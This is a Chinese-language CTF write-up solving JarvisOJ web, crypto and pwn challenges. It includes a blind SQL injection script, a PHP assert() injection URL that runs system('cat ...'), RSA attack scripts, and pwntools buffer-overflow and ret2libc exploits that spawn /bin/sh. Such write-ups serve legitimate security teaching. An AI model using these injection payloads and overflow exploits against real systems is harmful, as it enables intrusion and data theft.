Web
0x00 cookie伪造-[61dctf]admin
扫描后台发现有robots.txt,内容为
Disallow: /admin_s3cr3t.php
/admin_s3cr3t.php内容为
flag{hello guest}
输入发现答案不对
考虑到cookie内容,还有题目标题admin。应该是要以admin标识访问服务器。于是把admin=0改为admin=1

得到
flag{hello_admin~}
0x01 bool盲注-Simple Injection
尝试后发现页面有两种状态,用户名错误和密码错误。
测试后发现用户名可以是admin,过滤了空格。
根据两种不同状态返回值,可以在username里进行bool盲注
脚本:
import requests
password = ''
def get_data():
result = ""
url = 'http://web.jarvisoj.com:32787/login.php'
payload = {
"username":'xx',
"password":1,
}
username_template = "'/**/or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))>{1}#"
chars = '0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
for char in chars:
char_ascii = ord(char)
username = username_template.format(i,char_ascii)
payload['username'] = username
response = requests.post(url,data=payload)
length = len(response.text)
# print(length)
if length>1191:#如果返回密码错误(即用户名语句返回真)
print(char)
result += char
break
print(result)
get_data()
得到结果:

334cfb59c9d74849801d5acdcfdaadc3
md5解密后得到
您查询的字符串是“334cfb59c9d74849801d5acdcfdaadc3”,解密的结果为“eTAloCrEP”!

flag:CTF{s1mpl3_1nJ3ction_very_easy!!}
0x02 git泄露,assert注入-[61dctf]babyphp
打开网页,发现几个页面url形如:
http://web.jarvisoj.com:32798/?page=contact
而且源码中有提示:
<!--<li ><a href="?page=flag">My secrets</a></li> -->
访问后发现无结果。
About栏目中有提示:

扫描网站根目录,发现.git泄露,用GitHacker直接下载源码。f
index.php中发现关键代码:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
查阅官方文档,关于assert内容:
PHP 7
assert ( mixed
$assertion[, Throwable$exception] ) : boolassert() 会检查指定的
assertion并在结果为FALSE时采取适当的行动。Traditional assertions (PHP 5 and 7)
如果
assertion是字符串,它将会被 assert() 当做 PHP 代码来执行。assertion是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含assertion表达式。 这意味着如果你传入了 boolean 的条件作为assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值FALSE会被转换成空字符串。
所以开搞,assert("strpos('$file', '..') === false")不好当成执行。于是考虑assert("file_exists('$file')")
试了一下,
assert(“aaa”.phpinfo().”qqq”)#可以运行
assert(phpinfo())和assert(“phpinfo()”)可以运行
构造上这里讲的很清楚—————>https://blog.csdn.net/qq_42939527/article/details/100546121
因此构造
assert("file_exists('.system('ls').')");
assert("file_exists(templates/".system('ls').".php)");
assert("file_exists(''templates/' . $page . '.php'')")
http://web.jarvisoj.com:32798/?page='.system("cat templates/flag.php").'
#urlencode后为
?page=%27.system(%22cat%20templates/flag.php%22).%27
0x03 文件包含,反序列化-神盾局的秘密
打开就是一张图片,发现源码为:
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
#base64decode后为shield.jpg
因此考虑文件包含漏洞,后端接收到img信息后,进行base64解码。
先查看一下showimg.php
http://web.jarvisoj.com:32768//showimg.php?img=c2hvd2ltZy5waHA=
成功读取源码:
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
文件读取的时候,不能含有.. / \ pctf
继续翻找,发现index.php和sheld.php:
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
#sheld.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
反序列化漏洞
Crypto
暴力分解-midium RSA
暴力分解n
275127860351348928173285174381581152299 * 319576316814478949870590164193048041239
PCTF{256b_i5_m3dium}
rabin加密-hardRsa
n和上题一样,有点意思,运行后报错:
Traceback (most recent call last):
File "/root/code/ctf/crypto/midiunRsa/midiunRsaSolve.py", line 20, in <module>
d = inverse_mod(e,phi)
File "/usr/lib/python3/dist-packages/sage/arith/misc.py", line 2086, in inverse_mod
return Integer(a).inverse_mod(m)
File "sage/rings/integer.pyx", line 6762, in sage.rings.integer.Integer.inverse_mod (build/cythonized/sage/rings/integer.c:40932)
ZeroDivisionError: inverse of Mod(2, 87924348264132406875276140514499937144456189488436765114374296308467862464924) does not exist
分析一下,因为de mod (phi) =1,而在这个题目中,e是phi的一个因数。
所以这题跟本就不是rsa加密。
e=2,是robin加密。robin加密挺麻烦的,会求出四个值,要自行验证。
#n=275127860351348928173285174381581152299 * 319576316814478949870590164193048041239
#核心代码:
def rabin_decrypt(c,p,q,e=2):
mp=pow(c,(p+1)//4,p)
mq=pow(c,(q+1)//4,q)
yp=xgcd(p,q)[1]
yq=xgcd(p,q)[2]
#yp = inverse_mod(p,q)
#yq = inverse_mod(q,p)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
return(long_to_bytes(r),long_to_bytes(rr),long_to_bytes(s),long_to_bytes(ss))
得到PCTF{sp3ci4l_rsa}
共模攻击-veryhardRsa
查看代码,给定一个N,然后两个不同的e。
然后读取flag.txt内容,然后中间写了几句补位的代码。最后把数据用两个不同的e进行加密并写入两个文件里。
所以补位代码都不用管。就是n相同,m相同,e不同的rsa.
from Crypto.Util.number import *
c1=……c2=……n=……e1=……e2=……
s1=xgcd(c1,c2)[1]
s2=xgcd(c1,c2)[2]
m=pow(c1,s1,n)*pow(c2,s2,n)%n
print(long_to_bytes(m))
#b'W\xd9[\x0e\x8f\xb9\xba\x8f\xab\xecn7\xb7\x1ey\x19VfA\x1c\xb9\x87\xdax\xc4\xf3\r\xf8\xb5\x15\x97\xb3\x94\xc9\xbb\x17\xc9\x1b\xa6K\xc3\xa2\x03\xa3\xb9Pl\xe9A\x9d\x1e\xd7\xad\x0f\x8a\x1b\xd3\xad\xb8\x8eH\x814&\x95l;c\xb2\x1a\xc7\x08zp\xbf\xba\xc5\xa6\xf6\x8a0S!G n\x83W\xce#\xac\x0b\x9c\x10.\xbf\xdb\xc9?U<\x81G\x1a%\x02\xeb\x03vY\xfb\xb6\x01\x91\xd1\xe4\xa5s1\xbfF6,(\xb0\x18?3\x13H\xe5\x1dO\x95\xf0@.\xf9w\xff\xaa/\x14FOd\xd3\xab\xae\x8b\xdb\x87\x80:\x84\xa4\xc3\x0fr\xeb\xba\xf2\n=*\xd2\xb6\xdf\x15 \xa8\xc5\xd1c\xdf0\xd3\xc8b\xf0\x86\x9er\xaf\xe5g\xae\xc5\x9c\xd9F\x02S\x85w\xa2i\xfd\xf6\xc1.\xd4\\\x15\x98\x9f7\xc1\x89\xa1\x9e\xe6\x0e\xc3\xaa\xfbM@\xa8/\xff\x0e\xf2\xc4\xa3\x8b\xa3"M+\x08~\x16\x8c\xf1\xd5M6\xfa\x1bS\xfa\xf0-J\xe66e\x84\xde\x02OP\x87\xda\xf6n\x9b\x99\x8f\xf7\x86\xbc\n\xf3zS\x8fkVMk\xc4\xf1\xf7\x8b\x13g\x03}\xbe\x9ex\xf6\xf62Q2\xcc|\x9a\x8dJyt\x87\xb4\x966\x05\xd4\xde\xfc\x08:\x14/\xf8"\x858\x8bH4v\x06\xe8\xd7\xd6\x0c\xda\x15\xcc\xa8\x95\xc3\xff\xe9a=\x15De\xa5\xc3k\x0e\xcf\x8aEu\xaf%Kr\x9d\xec\xf9\x15\xd7\\mad\x1b\xbc0\xbcW\xdc\x86\xb1Sg\x84\xaa\xe3jD\xc7\xef.\xff\x9f2\x14\xd1m\x7f\x11\xd5\xca\x89y\x14\xcd\x15\xe8\xeeP\x15V\xb9\xdf]\xfa\xd3\xb2\x88\xbco\xb1;\xa6m\x16\xed6\xbb\xe9\x06\x0e\xc6\x9b\xad$$\xb2\x81a\x04\xf2#N\xb2\x8cs\r]Q+\xc0b\xd0\xdb1\x95\'\xe8\xc2\x9f_\x18P%\xa3/<^_[k\x81\xf2&\xd9C\xfa\x16 \xca\xfc\x9f\n*e7>\xd6\xc6\x96K\xc4<\x10\xddyt\xde=\xac^\xab\x0e\x18\r\xcf\x0et\xf1\xd1K:~\xe6U\xca4\x88\x14\x18\xef\xff\xb5qu\xddw6\x8f\xfbb'
再看加密信息:
fo1.write(pad_even(format(encrypt1,'x')).decode('hex'))
fo2.write(pad_even(format(encrypt2,'x')).decode('hex'))
不用管,反正共模攻击
s1=xgcd(e1,e2)[1]
s2=xgcd(e1,e2)[2]
m=pow(c1,s1,n)*pow(c2,s2,n)%n
long_to_bytes(m)
PCTF{M4st3r_oF_Number_Th3ory}
多线程碰撞-extremelyhardRSA
查看以后发现e=3,n和c都非常大。首先考虑#card=math&code=m%5E3%3DkN%2Bc%28%E5%85%B6%E4%B8%ADk%E8%8C%83%E5%9B%B4%E6%AF%94%E8%BE%83%E5%B0%8F%29)。试了一下发现碰撞不出来。
因为e!==2,所以也不是rabin攻击。
最后搜了一下,竟然解法就是一开始的kN暴力撞
学到了多线程的用法:
from Crypto.Util.number import *
import multiprocessing
def brute(i,j):
for k in range(i,j):
m3 = k*n + c
if m3.nth_root(3,1)[1]==1:
m = m3.nth_root(3,1)[0]
print(k)
print(long_to_bytes(m))
break
size=[]
for i in range(10):
size.append(i*15000000)
print(size)
for i in range(1, 10):
p = multiprocessing.Process(target = brute, args = (size[i-1],size[i]))
p.start()
#k=118719488
#b"Didn't you know RSA padding is really important? Now you see a non-padding message is so dangerous. And you should notice this in future.Fl4g: PCTF{Sm4ll_3xpon3nt_i5_W3ak}\n"
pwn
level0
首先chmod 777和checksec

发现是64位,放到ida64里分析:

main中有一个函数调用了read,同时有一个后门函数:
int callsystem() //记下地址0000000000400596
{
return system("/bin/sh");
}
然后开始pwn。
dbg level0
b main
start
然后用n和s指令一步一步调试
找到位置以后查看stack

可以看到原来的rip指令存储在rbp下面一行,也就是0x7fffffffdfa8
和输入字符串存储位置0x7fffffffdf20相差136

我们需要指向的位置callsystem地址0000000000400596,所以构造payload = b’A’*136 + p64(0x0000000000400596)
from pwn import *
io = process("./level0")
io.recv()
payload = b'a'*136 + p64(0x400596)
io.sendline(payload)
io.interactive()
我怎么看脚本都没问题,但是就是无法getshell,上网看了一圈,可能真的是环境和题目的问题:

放到kali里可以正常getshell。浪费了好久

level1
checksec发现是32位,放入ida查看,关键代码如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
printf("What's this:%p?\n", &buf); //0804848E
return read(0, &buf, 0x100u); //080484AC 09C call _read
}
这个read存在栈溢出漏洞。
距离0x88+0x04,gdb里调试一下,也是140

0xd18c - 0xd100=140
但是没有这个所以利用pwntool的asm(shellcraft.sh())插入一段获得shellcodde的代码,结构如图

from pwn import *
io = process("./level1")
context.log_level="debug"
io.recv()
get_shell = asm(shellcraft.sh()) #pwntool自带的生成shell的命令
recvaddr = io.recvline()[14:-2] #最后两位是换行符
payload = b'a'*(0x88+0x04-len(get_shell)) + get_shell + p32(int(recvaddr,16)) #尤其需要注意这个把addr转成16进制!!
io.sendline(payload)
io.interactive()
addr截取的是字符串,要通过int(addr,16)转成十六进制,否则会报错:
struct.error: required argument is not an integer

level2
关键代码和上题差不多,区别在于这一次不回显buff的地址:
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
buff空出来的位置一样是0x88+0x04,与上题对比,就少了一个可以定位的基地址address

记录一下,/bin/sh地址是0804A024
system地址08048320
调用system、bin/sh就可以getshell了
因为32位的题在system函数调用之后会有有一个返回地址,所以我们在p32(system)之后还要再p32(0)或者“aaaa”(输入四个垃圾字符),最后再将binsh的地址打包上去
from pwn import *
io = process("./level2")
context.log_level="debug"
io.recv()
systemcode = 0x08048320#system地址
binsh = 0x0804A024#binsh_addr
payload = b'a'*(0x88+0x04) + p32(systemcode) + p32(0) + p32(binsh)
#借用一下网上的解释
# 这四个字节是 system() 的返回地址 ,
# 其实这里我们是利用栈溢出模拟了一个函数调用的过程
# 在正常函数调用的时候 , x86-32位 架构下 , 首先对函数的参数压栈(从右至左)
# 然后将函数的返回地址压栈 , 最后程序跳转到函数的第一条指令进行执行
# 这里我们就是模拟了这里过程
# 也就是说执行完 system("/bin/sh") 之后 ,
# CPU 会从栈上取出这里的值并设置 eip 为这个值 ,
# 由于我们这里的目的只是单纯拿到 shell ,
# 因此我们并不需要去理会 system 执行完后程序会如何执行
# 如果做的更完美一点的话 , 可以将其设置为 exit() 函数的地址 , 这样程序就会执行 exit 函数
# 也就是从栈上再取出 exit 函数的参数 , 然后退出
# 或者将其设置为 _start 函数的地址 , 这样就相当于将程序重新运行了一遍
io.sendline(payload)
io.interactive()
成功pwn

level2x64
上一题的64位版本,偏移量


0x80+0x08(其中0x8是返回值r的内存区间)
system:00000000004004C0
/bin/sh:0000000000600A90
引用一下别人的解释
首先 read() 函数存在缓冲区溢出漏洞 这个程序是 : 64 位程序 , 函数调用时参数并不是像 32 位程序那样全部存放在栈中 而是这样 : 如果函数的参数数量小于 6 , 则从左至右依次存放在寄存器 : rdi, rsi, rdx, rcx, r8, r9 如果大于 6 , 那么多出来的参数按照从右至左的顺序依次压栈 详情请参考文章末尾的参考链接 我们这里需要构造 system("/bin/sh") 的调用栈 因此需要使用到寄存器传参 , 根据 rop 的思想 : 需要首先在可执行程序(或者该程序的动态连接库)中寻找 pop rdi; ret 这两条汇编指令的机器码 可以利用 ropper 在可执行程序中寻找 : ropper -f level2_x64 --search "pop|rdi|ret|" 找到一个可用的 : 0x00000000000006b3: pop rdi; ret; 然后就可以构造 payload payload = junk + fake + pop_rdi_ret_address + bin_sh_address + system_address 该题目中在数据段已经给了 "/bin/sh" 的字符串 , 我们只需要使用即可

pop rdi;ret:0x00000000004006b3
所以payload = b’A’*(0x80+0x08) + p64(return) + p64(pop_rdi) + p64(binsh) + p64(system)
脚本如下:
from pwn import *
io = process("./level2_x64")
#debug模式
context.log_level="debug"
io.recv()
#system地址
systemcode = 0x00000000004004C0
#bin/sh地址
binsh = 0x0000000000600A90
#pop rdi;ret地址
pop_rdi = 0x00000000004006b3
payload = b'a'*(0x80+0x08) + p64(pop_rdi) + p64(binsh) + p64(systemcode)
io.sendline(payload)
io.interactive()

ret2libc1
IDA中核心代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
寻找/bin/sh:0x08048720
rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o
寻找system:0x08048460

.plt:08048460
.plt:08048460
.plt:08048460 ; Attributes: thunk
.plt:08048460
.plt:08048460 ; int system(const char *command)
.plt:08048460 _system proc near
.plt:08048460
.plt:08048460 command= dword ptr 4
.plt:08048460
.plt:08048460 jmp ds:off_804A018
.plt:08048460 _system endp
.plt:08048460
程序预留的空间(0xd89c-0xd82c=0x70=112):

纯粹ida分析,本来我以为是-0x64到+0x04之间的,但是试了一下不对,调试发现是0x70。那就是-0x64到argc这条。
0x64+0x08=0x70
-00000066 db ? ; undefined
-00000065 db ? ; undefined
-00000064 s db ? ;这一条是参数开始位置
-00000063 db ? ; undefined
-00000062 db ? ; undefined
……………………………………
……………………………………
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 argc dd ? ;这一条是最后一个位置
+0000000C argv dd ? ; offset
+00000010 envp dd ? ; offset
知道了system、/bin/sh、buff大小,就可以写脚本了。注意到前面提到过的知识点,32位程序传参是从右到左,而且sysytem后面一行需要放return数据基本就没问题了。
from pwn import *
io = process("./ret2libc1")
#debug模式
context.log_level="debug"
io.recv()
#system地址
systemcode = 0x08048460
#bin/sh地址
binsh = 0x08048720
payload = b'a'*(0x70) + p32(systemcode) + p32(0) + p32(binsh) #注意32位程序调用后直接接return值,然后才是参数的值。所以填充了p32(0)
io.sendline(payload)
io.interactive()
成功pwn

level3
buf长度0x88+0x04=0x8c=140
-00000088 buf db ?
-00000087 db ? ; undefined
-00000086 db ? ; undefined
-00000085 db ? ; undefined
………………
………………
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
但是没有system函数也没有bin/sh,nop关闭了,也无法直接把getshll写入内存执行。
ret2libc:return to libc
涉及到一个got表和plt表
为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,可以理解为一定是一一对应的,如下图:
write地址08048340
首先要获得 write 和 system 的相对位置,由于库文件本质上是一个位置无关的 elf (你甚至可以运行它),所以可以使用 readelf 工具来查看它的信息,readelf 有一个选项 -s 可用于输出符号表,结合 grep 工具和管道可以用来查找两个函数的位置,具体命令为 readelf -s libc_32.so.6|grep 函数名 ,运行两次命令,函数名分别换成 write 和 system,在输出中寻找 write@@GLIBC_2.0 和 system@@GLIBC_2.0 ,用 system 的第二列减掉 write 的第二列得到相对位置 -0x99a80
或者也可以使用 pwntools ,运行如下脚本来获得同样的值
from pwn import * elf = ELF(libc_32.so.6 相对于 py 文件的位置) print(hex(elf.symbols['system']-elf.symbols['write']))理由同第 1 点,这里不再做解释
然后要获得字符串 “/bin/sh” 相对于 write 的位置,可以使用 strings 工具来执行 strings -at x libc_32.so.6|grep /bin/sh 来获得字符串的地址,或者使用 ROPgadget 工具来执行 ROPgadget —binary libc_32.so.6 —string “/bin/sh” 命令,两个工具的使用方式这里不做介绍;拿到地址后,减掉 write 的地址获得相对位置 0x84c6b如前所述,我们将会通过 got 来获得 write 的地址,并通过 plt 来调用它,所以针对前面的栈溢出漏洞可以构造 payload 为 b’0’*0x8c+p32(elf.plt[‘write’])+b’0000’+p32(1)+p32(elf.got[‘write’])+p32(10)
这样就调用了 write 来输出它的地址,其中从 p32(1) 开始为 write 的三个参数


/bin/sh地址:0x00162d4c
hex(libc.symbols[‘write’]) ‘0xdd460’
hex(libc.symbols[‘system’]) ‘0x40310’
system = write + (symbol -write)<—-地址差(-0x9d150)
同理,/bin/sh = write +(binsh - write )<——地址差(0x858ec)
然后找到运行时write地址就可以成功找到binsh和system地址了.
write函数调用了三个参数,
ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(输出到command line,就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
32位里参数是从右到左压入的,第二个参数是我们需要的输出内容。因此为了执行write压入参数数据如下:
elf = EFL('./level3')
payload = junkdata + elf.plt['write'] + p32(0) +p32(1) + p32(elf.got['write']) + p32(1)
#分析一下,junkdata占用前面的buff位置,plt调用write执行函数,p32(0)是32位程序的return值,函数执行结束以后系统将执行返回值指向的指令(即eip=return)。后面三个是write的三个参数。其中p32(elf.got['write'])放在会显示的位置,打印出write在libc里的位置。
